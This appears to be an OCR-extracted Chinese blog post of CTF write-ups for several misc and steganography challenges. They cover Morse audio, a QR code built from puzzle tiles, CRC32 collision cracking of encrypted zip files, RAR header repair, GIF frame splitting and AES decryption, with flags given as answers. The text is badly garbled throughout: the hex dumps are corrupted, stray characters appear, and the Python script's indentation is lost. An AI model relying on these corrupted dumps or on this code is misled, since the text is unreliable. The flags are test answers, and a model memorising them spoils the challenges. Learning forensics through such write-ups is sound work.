000010c0h:	45	00	78	00	5A	00	44	00	41	00	78	00	4F	00	54	00		E.x.Z.D.A.x.O.T.
000010d0h:	5A	00	6C	00	4E	00	7Ą	00	56	00	6D	00	59	00	6E	00		Z.L.N.Zokanobalo
000010e0h:	30	00	ЗD	00	00	00	FF	FE	00	Зŕ	43	52	⁸ 45	41	54	4F	ł	<u>%qq</u> _390Z9343

ZmxhZ3swMWEyNWVhM2ZkNjM00WM2ZTYzNWExZDAxOTZ1NzVmYn0=



23.听首音乐 stego100.rar

使用audacity工具打开,发现是音频+摩斯密码



将摩斯电码记录下来(记录的时候一定要看仔细)

摩斯解码,直接提交就ok

	•••				·			 	-, -,						
•															
结界	£:														
5BC	92	490	B0188	3. 2E	517	929191(C								
								http:	s://b	log.	csdn.	.net/	qq 39	6293	43
								1							

25.很普通的数独(ISCCCTF) zip

下载文件放到winhex中,发现PK头,将文件后缀改成.zip,得到25张图片,我还以为让我做数独题呢,使用5*5的格式查看这25 张图片,这尼玛是一张二维码,而1、5、21这三张图是二维码的三个角,通过工作室大佬的提醒,这三张顺序是有问题的



将位置掉换好了之后,把有数字的格式用0表示,没有数字的格式用1表示



变换之后,只想吐槽这题太坑了

```
101100000001110101000101110111100100010010011
0010111001110001110110000100100000010111011101
001001110110010011101010010000001011010011001
111100011000111111111011110101010000011101101
011111010001010010010111000001101110011101110
010001011001000010010111110110010011100010010
```

后面就得写脚本了,这个晚点弄

26.好多压缩包 123.zip

下载下来有将近68个压缩包,而且每个压缩包都加了密,刚开始以为是zip伪加密来着,放到winhex中发现不是,也想过使用zip 爆破,但是不知道密码长度和组成类型,爆破起来难度有点大,最后想到crc32爆破,写CRC32爆破脚本也是一头雾水,不过在 网上看到了一个大牛的脚本(原文0x06 CRC32碰撞),所以用脚本试了试,因为我用的是python3,所以脚本做了一些改动,下面是 我略微修改之后的脚本

import zipfile
import string
import binascii
def CrackCrc(crc):
for i in dic: #迭代的不是值而是键(key)
for j in dic:
for k in dic:
for h in dic:
s = i + j + k + h
<pre>if crc == (binascii.crc32(s.encode())):</pre>
f.write(s)
return
def CrackZip():
for i in range(0,68):
<pre>file = 'out'+str(i)+'.zip'</pre>
<pre>crc = zipfile.ZipFile(file,'r').getinfo('data.txt').CRC</pre>
CrackCrc(crc)
dic = string.ascii_letters + string.digits + '+/='
f = open('out.txt','w')
CrackZip()
print("CRC32碰撞完成")
f.close

得到的是base64编码之后的字符,使用base64解码,将解码结果复制到记事本,使用全局替换 \x

z5BzAAANAAAAAAAKo+egCAIwBJAAAAVAAAAAKGNKv+a2MdSROzAwABAAAAQO1UCRUUy91BT5UkSNPoj5hFEVFBRvefHSBCfGOruGnKnygsMyj8SBaZHxs YHY84LEZ24cXtZO1y3k1K1YJOvpK9HwqUzb6u9z8igEr3dCCQLQAdAAAAHQAAAAJi0efVT2MdSROwCAAgAAAAZmxhZy50eHQAsDRpZmZpeCB0aGUgZm1sZS BhbmQgZ2V0IHRoZSBmbGFnxD17AEAHAA==

加密解密	☑解密结果以16进制显示	
\	1-00 1-00 1-01 1-00	^
/XCI /X90 /X13		
\x00 \x00 \x00	x00 x00 xaa x3e x7a	
\x00 \x80 \x23	\x00 \x49 \x00 \x00 \x00	
x54 x00 x00	\x00 \x02 \x86 \x34 \xab	
xfe x6b x63	x1d x49 x1d x33 x03	
x00 x01 x00	x00 x00 x43 x4d x54	
x09 x15 x14	\xcb \xdd \x41 \x4f \x95	https://blog.csdn.net/ag_3962934

🥘 1.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

查找下一个(F)
替换(R)
全部替换(A)
取消

https://blog.csdn.net/qq_39629343

cf	90	73	00	00	0d	00	00
00	00	00	00	00	aa	3e	7a
00	80	23	00	49	00	00	00
54	00	00	00	02	86	34	ab
fe	6b	63	1d	49	1d	33	03
00	01	00	00	00	43	4d	54
09 09	15	14	ch	dd	41	4f	95
24	48	43	<u>۵۵</u>	8f	98	45	11
2-7 51	4 0 Л1	и <u>э</u> Л6	£7	94	1d	20	12
7c	 6d	70 2h	hQ	69	- -	۵f	ידב 2
7C	ou 55	20 20	٥0 در	10	1 <i>c</i>	21	20 1£
2C 1 L	33	20 1 J	TC	48	70	99	TT
TD	18	та	δT	38	20	46	/6
e1	c5 	ed	6/	4d	/2	de 	4a
4a -	d5	82	/4	be	92	bd	1†
0a	94	cd	be	ae	+7	31	22
80	4a	f7	74	20	90	2d	00
1d	00	00	00	1d	00	00	00
02	62	d1	e7	d5	4f	63	1d
49	1d	30	08	00	20	00	00
00	66	6c	61	67	2e	74	78
74	00	b0	34	69	66	66	69
78	20	74	68	65	20	66	69
6c	65	20	61	6e	64	20	67
65	74	20	74	68	65	20	66
6c	61	67	c4	3d	7b	00	40
07	00						

根据flag.txt可以知道这是个压缩包,而且需要我们修复文件才能得到flag,将base64解码之后的文件复制到winhex中,发现有rar 文件的文件尾 C4 3D 7B 00 40 07 00,还存在一个名为CMT的文件,即注释

noname																	
Offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	ANSI ASCII
00000000	CF	90	73	00	00	0D	00	00	00	00	00	00	00	AA	ЗE	7A	Ïs ª>z
00000016	00	80	23	00	49	00	00	00	54	00	00	00	02	86	34	AB	€# I T _ †4«
00000032	FE	6B	63	1D	49	1D	33	03	00	01	00	00	00	43	4D	54	þkc I 3 CMT
00000048	09	15	14	CB	DD	41	4F	95	24	48	D3	E8	8F	98	45	11	ËÝAC•\$HÓè ~E
00000064	51	41	46	F7	9F	1D	20	42	7C	6D	2B	B 8	69	CA	9F	28	QAF÷Ÿ B m+,iÊŸ(
00000080	2C	33	28	FC	48	16	99	1F	1B	18	1D	8F	38	2C	46	76	,3(üH ™ 8,Fv
00000096	E1	C5	\mathbf{ED}	67	4D	72	DE	4D	4A	D5	82	74	BE	92	BD	1F	áÅígMrÞMJÕ,t¾′⅔
00000112	A0	94	CD	BE	AE	F7	ЗF	22	80	4A	F7	74	20	90	2D	00	″;®÷?"€J÷t –
00000128	1D	00	00	00	1D	00	00	00	02	62	D1	E7	D5	4F	63	1D	bÑçÕOc
00000144	49	1D	30	08	00	20	00	00	00	66	6C	61	67	2E	74	78	I 0 flag.tx
00000160	74	00	B 0	34	69	66	66	69	78	20	74	68	65	20	66	69	t °4iffix the fi
00000176	6C	65	20	61	6E	64	20	67	65	74	20	74	68	65	20	66	le and get the f
00000192	6C	61	67	C4	ЗD	7B	00	40	07	00	00	00	00	00	00	00	1 1agA+4_@ 9629343
00000000	00	00	00	00	00	00	00	00	- 00	00	00	00	00	00	00	00	

先保存为rar文件,然后使用UE打开,插入十六进制,补上rar的文件头 52 61 72 21 1A 07 00,然后保存,打开压缩包得到flag

000000000h:	52	61	72	21	1A	07	00	CF	90	73	00	00	ØD	00	00	00	;	Rar! <mark>Ï</mark> 恠
00000010h:	00	00	00	00	AA	ЗE	7A	00	80	23	00	49	00	00	00	54	;	?z.€#.IT
00000020h:	00	00	00	02	86	34	AB	FE	6B	63	1D	49	1D	33	03	00	;	?蚺kc.I.3
00000030h:	01	00	00	00	43	4D	54	09	15	14	СВ	DD	41	4F	95	24	;	CMT溯AO?
00000040h:	48	D3	E8	8F	98	45	11	51	41	46	F7	9F	1D	20	42	7C	;	H予彉E.QAF鳠. B│
00000050h:	6D	2B	B8	69	CA	9F	28	2C	33	28	FC	48	16	99	1F	1B	;	m+竔薀(,3(麳.?.
00000060h:	18	1D	8F	38	2C	46	76	E1	C5	ED	67	4D	72	DE	4D	4 A	;	?,Fv崤韌Mr轒J
00000070h:	D5	82	74	BE	92	BD	1F	ØA	94	CD	BE	AE	F7	ЗF	22	80	;	諅t緬?.斖井?"€
00000080h:	4 A	F7	74	20	90	2D	00	1D	00	00	00	1D	00	00	00	02	;	∃鱰?
00000090h:	62	D1	E7	D5	4F	63	1D	49	1D	30	<mark>0</mark> 8	00	20	00	00	00	;	b宴誒c.I.0
000000a0h:	66	6C	61	67	2E	74	78	74	00	B0	34	69	66	66	69	78	;	flag.txt.?iffix
000000b0h:	20	74	68	65	20	66	69	6C	65	20	61	6E	64	20	67	65	;	the file and ge
000000c0h:	74	20	74	68	65	20	66	6C	61	67	C4	_, 3D	7B	00	40	07	5	t the flag?{.@.
000000d0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	ŋ.	net/qq_39629343

22 122.	rar - Win	RAR											
文件(F)	命令(C)	工具(S)	收藏夹(O) 选项(N)	帮助(H)								
ين جون										(Rth	白奶压肉式		
添加	用料工手	אברניאל ני	. 1278	加味	重找	回导	信息	111117674	注释	保护	日解江伯式		
6	🚼 122.r	ar - RAR	压缩文件,	解包大小为	29 字节								
名称			大小	压缩后大小	类型	flag{ne	ev3r0d	e_t00_sm411	.13_w1t	ip}			
					Folder								
📑 flag.t	xt		29	29	Text Docu								
									http	ps://b		net/qq_	39629343

27.一个普通的压缩包(xp0intCTF) zip.rar

解压提示错误,放到winhex中发现是zip的文件头pk,改后缀为zip,解压

Offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	ANSI ASCII
00000000	50	4B	03	04	0A	00	00	08	00	00	E7	AB	51	4B	00	00	PK ç«QK
00000016	00	00	00	00	00	00	00	00	00	00	19	00	00	00	E4	B9	ä,
00000032	80	Ε4	B 8	AA	E6	99	AE	E9	80	9A	E7	9A	84	E5	8E	ßВ	€ä,ªæ™®é€šçš"åŽ<
00000048	E7	BC	Α9	E5	8C	85	2F	50	4B	03	04	0A	00	00	08	00	ç4©åŒ…∕PK
00000064	00	AD	85	4F	4B	E4	8D	76	94	C1	15	00	00	C1	15	00	–…OKä v″Á Á
0800000	00	21	00	00	00	E4	B 8	80	E4	B8	AA	E6	99	AE	Ε9	80	!ä,€ä,ªæ™®é€
00000096	9A	E7	9A	84	E5	8E	8B	E7	BC	Α9	E5	8C	85	2F	66	6C	šçš"åŽ<ç4©åŒ…/fl
00000112	61	67	2E	72	61	72	52	61	72	21	1A	07	00	CF	90	73	ag.rarRar! Ï s
00000128	00	00	0D	00	00	00	00	00	00	00	D5	56	74	20	90	2D	ÕVt -
00000144	00	10	00	00	00	10	00	00	00	02	C7	88	67	36	6D	BB	Ç^g6m»
00000160	4E	4B	1D	30	08	00	20	00	00	00	66	6C	61	67	2E	74	NK 0 flag.t
00000176	78	74	00	B0	57	00	43	66	6C	61	67	20	69	73	20	6E	xt °W Cflag is n
00000192	6F	74	20	68	65	72	65	A 8	3C	7A	20	90	2F	00	ЗA	15	ot here" <z :<="" td=""></z>
00000208	00	00	42	16	00	00	02	BC	E9	8C	2F	6E	84	4F	4B	1D	B ¼éŒ/n"OK
00000224	33	0A	00	20	00	00	00	73	65	63	72	65	74	2E	70	6E	3 secret.pn
00000240	67	00	FO	40	AB	18	11	C1	11	55	08	D1	55	80	0D	99	gð@« ÁUÑU€™
00000256	C4	90	87	93	22	19	4C	58	DA	18	B1	Α4	58	16	33	83	Ä ‡"" LXÚ ±¤X 3f
00000272	08	F4	ЗA	18	42	0B	04	05	85	96	21	AB	1A	43	08	66	ô: B!« C f
00000288	EC	61	0F	A0	10	21	AB	ЗD	02	80	B0	10	90	C5	8D	A1	ìa !≪=€°Å;
00000304	1E	84	42	B0	43	29	80	10	DA	0F	23	99	CC	F3	9D	C4	"B°C) Ú #™Ìó Ä
00000320	85	86	67	73	39	DE	47	63	91	DE	C4	77	ED	A 8	DC	46	†gs9ÞGc'ÞÄwí″ÜF
00000336	F4	C5	54	CD	55	6A	AA	A3	5F	CD	6E	77	3B	8D	EF	7A	ôĂTÍUjª£_Ínw; ïz
00000352	99	Α9	Α9	8F	D5	ЗF	0A	AA	F9	55	7F	02	9E	A2	9C	86	™©© Õ? ≞ùU ž¢œ†
00000368	88	CC	59	CC	FF	0C	57	34	7B	8B	8F	F9	C0	F7	E6	30	^ÌYÌÿ W4{< ùÀ÷æO
00000384	E3	25	60	55	58	00	9A	CC	E6	CD	СВ	FD	19	24	43	83	ã%`UX šÌ∉ÍËý \$Cf
00000400	30	46	D6	97	30	0C	ED	2D	4D	8D	E8	E6	3F	1A	FB	23	0FC-0 1-M èæ? û#
00000416	10	0D	8D	1F	A 8	5F	41	55	ЗD	55	70	4C	69	6B	6C	50	_AU=UpLik1P
00000432	78	71	69	5B	78	56	5C	08	FO	DA	11	11	A 0	C5	25	20	xqi[xV\ðÚ Å%
00000448	02	30	80	62	03	38	06	FB	D5	98	07	E 8	6E	6F	72	FD	0€b 8 ûÕ~ ènorý
00000464	6F	DD	EC	CD	01	F9	02	07	CB	9F	F7	DE	3C	E4	0F	F8	18XJIQT_EX6P\$<\$?\$?

得到两个文件flag.txt和flag.rar,不过flag.rar打开报错secret.png文件头损坏,使用WinRAR的修复功能没有修复成功

一个普通的压缩包	2018/6/7 12:32	文件夹	
📄 flag.txt	2017/10/14 23:27	文本文档	https:1/KBblog.csdn.net/qq_3962934

▲ WinRAR:诊断信息 ー		\times
、一个普通的压缩包\flag.rar: 文件"secret.png- ?	??" 头初	友破坏
<		>
	9 629	343

使用winhex打开,发现rar文件头和尾都是正常的,查看各个文件的文件头,然后进行修复

Offset	0	1	2	3	- 4	- 5	6	7	8	9	Α	В	C	D	E	F	ANSI ASCII
00000000	52	61	72	21	1A	07	00	CF	90	73	00	00	0D	00	00	00	Rar! Ï s
00000010	00	00	00	00	D5	56	74	20	90	2D	00	10	00	00	00	10	ÕVt -
00000020	00	00	00	02	C7	88	67	36	6D	BB	4E	4B	1D	30	80	00	Ç^g6m»NK 0
00000030	20	00	00	00	66	6C	61	67	2E	74	78	74	00	B 0	57	00	flag.txt °W
00000040	43	66	6C	61	67	20	69	73	= <u>2,0</u>	бĘ,	.6F	74	20	68	65	72	Cflag is not her
00000050	65	A 8	3C	74	20	90	2F	064	定版	髩	њŏ	100	42	16	00	00	e" <t :="" b<="" td=""></t>
00000060	03	BC	Ε9	8C	2F	6E	84	4F	4B	1D	33	0A	00	20	00	00	₩éŒ/n"OK 3
00000070	90	73	65	63	72	65	74	2E	70	6E	67	00	FO	40	AB	18	secret.png ð@«
00000080	11	C1	11	55	08	D1	55	80	0D	99	C4	90	87	93	22	19	Á U ÑU€ ™Ä ‡∾"
00000090 🖊	4C	58	DA	18	B1	Α4	58	16	33	83	08	F4	ЗA	18	42	0B	LXÚ ±¤X 3f ô: B
	COLIC	325	85	96	21	AB	1A	43	08	66	EC	61	OF	AO	10	21	!« C fìa !
000000B0	AB	ЗD	02	80	B0	10	90	C5	8D	A1	1E	84	42	B 0	43	29	«=€°Å;"B°C)
00000000	08	10	DA	0F	23	99	CC	F3	9D	C4	85	86	67	73	39	DE	Ú # ™Ìó Ä…†gs9Þ
00000D0	47	63	91	DE	C4	77	ED	A 8	DC	46	F4	C5	54	CD	55	6A	Gc ÞÄwí ÜFôÅTÍUj
000000E0	AA	A3	5F	CD	6E	77	3B	8D	EF	7A	99	Α9	Α9	8F	D5	ЗF	²£_ĺnw; ïz™©© Õ?
000000F0	0A	AA	F9	55	7F	02	9E	A 2	9C	86	88	CC	59	CC	\mathbf{FF}	0C	ªùU ž¢œ†^ÌYÌÿ
00000100	57	34	7B	8B	8F	F9	C0	F7	E6	30	E3	25	60	55	58	00	W4{∢ ùÀ÷æ0ã%`UX
00000110	9A	CC	E6	CD	CB	FD	19	24	43	83	30	46	D6	97	30	0C	šÌæÍËý \$Cf0FC−0
00000120	ED	2D	4D	8D	E8	E6	3F	1A	FB	23	10	0D	8D	1F	A 8	5F	í-M èæ? û# ″_
00000130	41	55	ЗD	55	70	4C	69	6B	6C	50	78	71	69	5B	78	56	AU=UpLiklPxqi[xV
00000140	5C	08	F0	DA	11	11	A 0	C5	25	20	02	30	80	62	03	38	\ðÚ Å% 0€b 8
00000150	06	FB	D5	98	07	E8	6E	6F	72	FD	6F	DD	EC	CD	01	F9	ûÕ~ ènorýoÝìÍ ù
00000160	02	07	CB	9F	F7	DE	3C	E4	0F	F8	4E	DC	DB	7E	D0	95	ËŸ÷₽<ä øNÜÛ~Đ∙
00000170	F9	C0	1F	B9	94	C0	\mathbf{FC}	84	00	41	3B	40	02	10	F4	F8	ùÀ ʰ″Àü" A;@ ôø
00000180	F8	00	20	47	67	DD	Β4	1F	F8	4F	8E	80	1F	FE	BC	\mathbf{FC}	ø GgÝ´øOŽ€þ4ü
00000190	FO	F7	97	ΕO	40	7E	C4	OF	EC	60	CF	DO	80	7F	38	31	ð÷—à@~Ä ì`ÏĐ€ 81
000001A0	E5	28	E2	D1	E0	06	Β4	9A	9D	\mathbf{FC}	93	E5	D3	FA	1A	DC	å(âÑà ´š ü"åÓú Ü
000001B0	DC	DC	01	9E	1E	3B	7F	\mathbf{FC}	76	EC	80	77	C8	BB	51	E1	ÜÜ ž ; üvì€wÈ»Qá
000001C0	F2	27	F7	7E	E0	4F	CF	C0	F2	A 0	02	E4	EE	DF	F8	18	ò'÷∼àOÏÀò äîßø
000001D0	40	1F	BB	CC	BF	A 0	09	AD	2E	41	10	5B	3F	09	36	07	0, »12, A. [2, 6, -
000001E0	6F	01	FB	EB	66	67	0E	E8	E7	C8	49	8F	F2	3E	F2	B5	o ûêfg êçÊl ð>òµ

留下得到一个穴白的nng图上 故到winhov由	岩 羽 这 县 — 관 aif 图 上	星友 为aif 巨纲
肝压得到 「工口的plug图刀,从到Williex中,	及此还走 派yii凶刀,	力作为yll应效

secret.png																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII /
00000000	47	49	46	38	39	61	18	01	18	01	91	02	00	FE	FF	FF	GIF89a bÿÿ
00000010	FF	FF	FF	FF	FF	FF	00	00	00	21	FF	0B	58	4D	50	20	ŸŸŸŸŸŸ !Ÿ XMP
00000020	44	61	74	61	58	4D	50	3C	ЗF	78	70	61	63	6B	65	74	DataXMP xpacket</td
00000030	20	62	65	67	69	6E	ЗD	22	EF	BB	BF	22	20	69	64	ЗD	begin="" id=
00000040	22	57	35	4D	30	4D	70	43	65	68	69	48	7A	72	65	53	"W5M0MpCehiHzreS
00000050	7A	4E	54	63	7A	6B	63	39	64	22	ЗF	3E	20	3C	78	ЗA	zNTczkc9d"?> <x:< td=""></x:<>
00000060	78	6D	70	6D	65	74	61	20	78	6D	6C	6E	73	ЗA	78	ЗD	<pre>xmpmeta xmlns:x=</pre>
00000070	22	61	64	6F	62	65	ЗA	6E	73	ЗA	6D	65	74	61	2F	22	"adobe:ns:meta/"
00000080	20	78	ЗA	78	6D	70	74	6B	3D	22	41	64	6F	62	65	20	x:xmptk="Adobe
00000090	58	4D	50	20	43	6F	72	65	20	35	2E	33	2D	63	30	31	XMP Core 5.3-c01
000000A0	31	20	36	36	2E	31	34	35	36	36	31	2C	20	32	30	31	1 66.145661, 201
000000B0	32	2F	30	32	2F	30	36	2D	31	34	ЗA	35	36	ЗA	32	37	2/02/06-14:56:27
00000000	20	20	20	20	20	20	20	20	22	3E	20	3C	72	64	66	ЗA	"> <rdf:< td=""></rdf:<>
00000D0	52	44	46	20	78	6D	6C	6E	73	3A	72	64	66	3D	22	68	RDF xmlns:rdf="h
000000E0	74	74	70	ЗA	2F	2F	77	77	77	2E	77	33	2E	6F	72	67	ttp://www.w3.org
000000F0	2F	31	39	39	39	2F	30	32	2F	32	32	2D	72	64	66	2D	/1999/02/22-rdf-
00000100	73	79	6E	74	61	78	2D	6E	73	23	22	3E	20	3C	72	64	syntax-ns#"> <rd< td=""></rd<>
00000110	66	ЗA	44	65	73	63	72	69	70	74	69	6F	6E	20	72	64	f:Description rd
00000120	66	ЗA	61	62	6F	75	74	ЗD	22	22	20	78	6D	6C	6E	73	f:about="" xmlns
00000130	ЗA	78	6D	70	4D	4D	ЗD	22	68	74	74	70	ЗA	2F	2F	6E	:xmpMM="http://n
00000140	73	2E	61	64	6F	62	65	2E	63	6F	6D	2F	78	61	70	2F	s.adobe.com/xap/
00000150	31	2E	30	2F	6D	6D	2F	22	20	78	6D	6C	6E	73	ЗA	73	1.0/mm/" xmlns:s
00000160	74	52	65	66	ЗD	22	68	74	74	70	ЗA	2F	2F	6E	73	2E	tRef="http://ns.
00000170	61	64	6F	62	65	2E	63	6F	6D	2F	78	61	70	2F	31	2E	adobe.com/xap/1.
00000180	30	2F	73	54	79	70	65	2F	52	65	73	6F	75	72	63	65	0/sType/Resource
00000190	52	65	66	23	22	20	78	6D	6C	6E	73	ЗA	78	6D	70	ЗD	Ref#" xmlns:xmp=
000001A0	22	68	74	74	70	ЗA	2F	2F	6E	73	2E	61	64	6F	62	65	"http://ns.adobe
000001B0	2E	63	6F	6D	2F	78	61	70	2F	31	2E	30	2F	22	20	78	.com/xap/1.0/" x
000001C0	6D	70	4D	4D	ЗA	4F	72	69	67	69	6E	61	6C	44	6F	63	mpMM:OriginalDoc
000001D0	75	6D	65	6E	74	49	44	ЗD	22	78	6D	70	2E	64	69	64	umentID="xmp.did
000001E0	ЗA	31	42	34	44	39	30	36	31	38	30	42	31	45	37	31	184D906180B1E71



使用gifsplitter工具发现这个gif是两帧,并将gif分离,使用stegsolve工具打开这两张图片

🗱 GifSplitter	_		\times
输入 Gillolma文件:	通的压缩管	린\flag\se	
输出 图像输出目录: □ 以文件名自动创建输出文件夹 □ 对透明的Gi采用单色背景			
开始分离 https://关于og.csd退出ie	t/qq 检	查更新 93	343





28.妹子的陌陌 momo.jpg

放到kali中使用binwalk提取,发现可能是一个rar压缩文件,改后缀解压

root@ka	<mark>li</mark> :~/桌面# binwalk mom	o.jpg	
DECIMAL	HEXADECIMAL	DESCRIPTION	
0 37340	0x0 0x91DC	JPEG image data, JFIF standard RAR archive data, first volume https://blog.csd	1.01 type:/MAIN_HEAD n.ffet/qq_39629343

发现是需要密码的,密码就在图片上,解压之后得到

内容: http://c.bugku.com/U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0= AES Key: @#@#¥%......¥¥%%......&¥

根据AES Key 可以知道这个AES加密,将 U2FsdGVkX18t18Yi7FaGiv6jK1SBxKD30eYb52onYe0= 解密

在线加密解密 encode & decode

加密前字符串	
U2FsdGVKX18tl8Yf7FaGiv6jK1SBxKD30eYb52onYe0=	÷.
密钥	
@#@#¥%&¥%%&¥	
SHA1 SHA224 SHA256 SHA384 SHA512 MD5 HmacSHA1 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHA512 HmacMD5	
UrlEncode UrlDecode AES加密 DES加密 DES解密 Rabbit加密 Rabbit加密 RC4加密 RC4解密 TripleDES加密 TripleDES解密	base64加密
base64解密	
结果	
momoj2j.png	

http://c.bugku.com/momoj2j.png

下载下来使用stegsolve工具进行反色,得到flag



29.就五层你能解开吗 Challengs%EF%BC%9ACryptography+500.7z



这题先留着,后面更新



创作打卡挑战赛 赢取流量/现金/CSDN周边激励大奖